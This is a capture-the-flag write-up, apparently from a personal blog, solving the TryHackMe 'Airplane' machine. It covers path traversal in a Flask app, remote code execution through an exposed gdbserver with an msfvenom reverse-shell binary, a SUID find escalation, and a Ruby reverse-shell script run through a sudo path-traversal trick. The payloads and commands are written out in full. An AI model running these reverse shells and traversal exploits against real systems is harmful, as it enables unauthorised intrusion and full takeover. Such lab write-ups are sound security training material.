Wanna watch a video?
Welcome everyone! New machine landed on tryhackme, so of course I had to give it a try
It’s called Airplane
- I don’t know what to expect but let’s go
Recon
The first thing is always a port scan
$ rustscan -a $IP -- -sC -sV
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
🌍HACK THE PLANET🌍
[~] The config file is expected to be at "/home/rustscan/.rustscan.toml"
[~] File limit higher than batch size. Can increase speed by increasing batch size '-b 1048476'.
Open 10.10.73.183:22
Open 10.10.73.183:6048
Open 10.10.73.183:8000
3 ports open - gotta enumerate further
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
6048/tcp open x11? syn-ack
8000/tcp open http-alt syn-ack Werkzeug/3.0.2 Python/3.8.10
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 404 NOT FOUND
| Server: Werkzeug/3.0.2 Python/3.8.10
| Date: Fri, 07 Jun 2024 18:56:19 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 207
| Connection: close
| <!doctype html>
| <html lang=en>
| <title>404 Not Found</title>
| <h1>Not Found</h1>
| <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
| GetRequest:
| HTTP/1.1 302 FOUND
| Server: Werkzeug/3.0.2 Python/3.8.10
| Date: Fri, 07 Jun 2024 18:56:14 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 269
| Location: http://airplane.thm:8000/?page=index.html
| Connection: close
| <!doctype html>
| <html lang=en>
| <title>Redirecting...</title>
| <h1>Redirecting...</h1>
| <p>You should be redirected automatically to the target URL: <a href="http://airplane.thm:8000/?page=index.html">http://airplane.thm:8000/?page=index.html</a>. If not, click the link.
| Socks5:
| <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
| "http://www.w3.org/TR/html4/strict.dtd">
| <html>
| <head>
| <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
| <title>Error response</title>
| </head>
| <body>
| <h1>Error response</h1>
| <p>Error code: 400</p>
| <p>Message: Bad request syntax ('
| ').</p>
| <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
| </body>
|_ </html>
| http-methods:
|_ Supported Methods: GET HEAD OPTIONS
|_http-server-header: Werkzeug/3.0.2 Python/3.8.10
|_http-title: Did not follow redirect to http://airplane.thm:8000/?page=index.html
But now add airplane.thm
to /etc/hosts
$ echo "$IP airplane.thm"| sudo tee -a /etc/hosts
Time for the website!
Website enumeration
As we know the domain, I’ve also added it to my terminal
$ export HOST="airplane.thm"
Now let’s look around
$ gobuster dir -w /usr/share/wordlists/dirb/common.txt -u "http://$HOST:8000/" -x html,js,txt,py -t 20
While it’s running - we can look at the page
it takes one parameter - page
http://airplane.thm:8000/?page=index.html
What if we tried ../../../../../../etc/passwd
Something got downloaded!
Web exploitation
What’s in there?
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
[Bunch of other stuff]
carlos:x:1000:1000:carlos,,,:/home/carlos:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
hudson:x:1001:1001::/home/hudson:/bin/bash
sshd:x:128:65534::/run/sshd:/usr/sbin/nologin
We now know that we’ve got 2 users - hudson
and carlos
I’ve downloaded enviromental variables too
http://airplane.thm:8000/?page=../../../../../../proc/self/environ
LANG=en_US.UTF-8�LC_ADDRESS=tr_TR.UTF-8
LC_IDENTIFICATION=tr_TR.UTF-8
LC_MEASUREMENT=tr_TR.UTF-8
LC_MONETARY=tr_TR.UTF-8
LC_NAME=tr_TR.UTF-8
LC_NUMERIC=tr_TR.UTF-8
LC_PAPER=tr_TR.UTF-8
LC_TELEPHONE=tr_TR.UTF-8
LC_TIME=tr_TR.UTF-8
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
HOME=/home/hudson
LOGNAME=hudson
USER=hudson
SHELL=/bin/bash
INVOCATION_ID=a7b6db43cf784a56a137cd6d6a5ed120
JOURNAL_STREAM=9:20267
It doesn’t run as www-data
but as hudson
- a user
From my enumeration it turns out, that 2 directories above we’ve got /home/hudson
Using this path -../app.py
- I’ve got the source code
from flask import Flask, send_file, redirect, render_template, request
import os.path
app = Flask(__name__)
@app.route('/')
def index():
if 'page' in request.args:
page = 'static/' + request.args.get('page')
if os.path.isfile(page):
resp = send_file(page)
resp.direct_passthrough = False
if os.path.getsize(page) == 0:
resp.headers["Content-Length"]=str(len(resp.get_data()))
return resp
else:
return "Page not found"
else:
return redirect('http://airplane.thm:8000/?page=index.html', code=302)
@app.route('/airplane')
def airplane():
return render_template('airplane.html')
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000)
Nothing more interesting, than we already know
With this in mind - let’s try to enumerate service on port 6048
6048
enumeration
First I checked for false positive by searching /proc/dev/tcp
With this python script
# -*- coding: utf-8 -*-
import re
import sys
import argparse
parser = argparse.ArgumentParser(
prog='/proc/net/tcp decoder',
description='Upgraded code from Reboare to transform /proc/net/tcp into human readable format')
parser.add_argument('filename')
args = parser.parse_args()
def process_file(procnet):
sockets = procnet.split('\n')[1:-1]
return [line.strip() for line in sockets]
def split_every_n(data, n):
return [data[i:i+n] for i in range(0, len(data), n)]
def convert_linux_netaddr(address):
hex_addr, hex_port = address.split(':')
addr_list = split_every_n(hex_addr, 2)
addr_list.reverse()
addr = ".".join(map(lambda x: str(int(x, 16)), addr_list))
port = str(int(hex_port, 16))
return "{}:{}".format(addr, port)
def format_line(data):
return (("%(seq)-4s %(uid)5s %(local)25s %(remote)25s %(timeout)8s %(inode)8s" % data) + "\n")
with open(args.filename) as f:
sockets = process_file(f.read())
columns = ("seq", "uid", "inode", "local", "remote", "timeout")
title = dict()
for c in columns:
title[c] = c
rv = []
for info in sockets:
_ = re.split(r'\s+', info)
_tmp = {
'seq': _[0],
'local': convert_linux_netaddr(_[1]),
'remote': convert_linux_netaddr(_[2]),
'uid': _[7],
'timeout': _[8],
'inode': _[9],
}
rv.append(_tmp)
if len(rv) > 0:
sys.stderr.write(format_line(title))
for _ in rv:
sys.stdout.write(format_line(_))
Which is a modified version of this gist I turned /proc/net/tcp
into more readable form
$ python3 tcp-parser.py tcp
seq uid local remote timeout inode
0: 101 127.0.0.53:53 0.0.0.0:0 0 14850
1: 0 0.0.0.0:22 0.0.0.0:0 0 20719
2: 0 127.0.0.1:631 0.0.0.0:0 0 18221
3: 1001 0.0.0.0:8000 0.0.0.0:0 0 21672
4: 1001 0.0.0.0:6048 0.0.0.0:0 0 21568
5: 1001 10.10.92.113:8000 10.9.3.230:59002 0 37011
Yup, it’s actually running and it runs as hudson
as well (From /etc/passwd
we know that hudson
has UID 1001
)
Now it’s time to brute-force PID and command running the process
$ for i in {1..1000}; do echo -n "\r$i"; out=$(curl -s "http://airplane.thm:8000/?page=../../../../../proc/$i/cmdline" | sed 's/\x00/ /g' | grep -v 'Page not found'); if [ -n "$out" ]; then echo "\r$i : $out"; fi; done
[...]
521 : /usr/sbin/NetworkManager --no-daemon
522 : /usr/sbin/NetworkManager --no-daemon
525 : /usr/bin/gdbserver 0.0.0.0:6048 airplane
529 : /usr/bin/python3 app.py
532 : /usr/bin/python3 /usr/share/unattended-upgrades/unattended-upgrade-shutdown --wait-for-signal
533 : /usr/sbin/ModemManager
It runs gdbserver
. Let’s check bookhacktricks.xyz
There, I found a nice way to upload a shell
gdbserver
exploitation
First I created msfvenom shell
$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=tun0 LPORT=4444 PrependFork=true -f elf -o binary.elf
$ chmod +x binary.elf
Then I run GDB
$ gdb binary.elf
Inside gdb
shell we set remote target
target extended-remote 10.10.92.113:6048
Then upload malicious binary to /tmp
remote put binary.elf /tmp/binary.elf
Set executable
set remote exec-file /tmp/binary.elf
And netcat listener on your machine
$ nc -lvnp 4444
Then, run!
run
We’ve got it! Time to stabilize the shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
$
Privilege escalation 1 - getting carlos
user
After running this command
$ find / -type f -perm -04000 -ls 2>/dev/null
We see that we can run /usr/bin/find
as carlos
Quick trip to GTFOBins gives us
$ /usr/bin/find . -exec /bin/sh -p \; -quit
$ whoami
carlos
And we’re carlos
- get user flag
$ cat /home/carlos/user.txt
I couldn’t really stabilize it with python, so I just uploaded my public ssh key and loged in via SSH
Let’s go for root now!
Privilege escalation 2 - gettting root
What will sudo -l
give us?
$ sudo -l
Matching Defaults entries for carlos on airplane:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User carlos may run the following commands on airplane:
(ALL) NOPASSWD: /usr/bin/ruby /root/*.rb
We can run anything placed inside /root
folder which has .rb
extentions with ruby
So, how about we utilize Path Traversal once again and get the shell that way
First in /tmp
create a file called shell.rb
#!/usr/bin/env ruby
# syscall 33 = dup2 on 64-bit Linux
# syscall 63 = dup2 on 32-bit Linux
# test with nc -lvp 1337
require 'socket'
s = Socket.new 2,1
s.connect Socket.sockaddr_in 1337, '[YOUR IP]'
[0,1,2].each { |fd| syscall 33, s.fileno, fd }
exec '/bin/sh -i'
Of course replace [Your IP]
with actual THM IP
Then, set up a netcat listener on your machine
$ nc -lvnp 1337
And execute the shell with using payload that contains ../
in it
$ sudo /usr/bin/ruby /root/../tmp/shell.rb
Netcat we got the shell, we are root!
$ nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.9.3.230] from (UNKNOWN) [10.10.242.145] 54412
# whoami
root
And that’s it - machine pwned go for the root flag
Conclusion
Oh god, I had to use a writeup to get through initial access part.
While privilege escalation was kind of trivial, obtaining user shell was really challenging
It was the first time, I’ve looked into /proc
dir and enumerated something there - my notes are growing!
I hope you’ve enjoyed it as much as I did, thanks for reading.
Check out my other blog as I’m planning to post one pretty big article there
And that’s about it, wait for video version of this writeup and see you next time!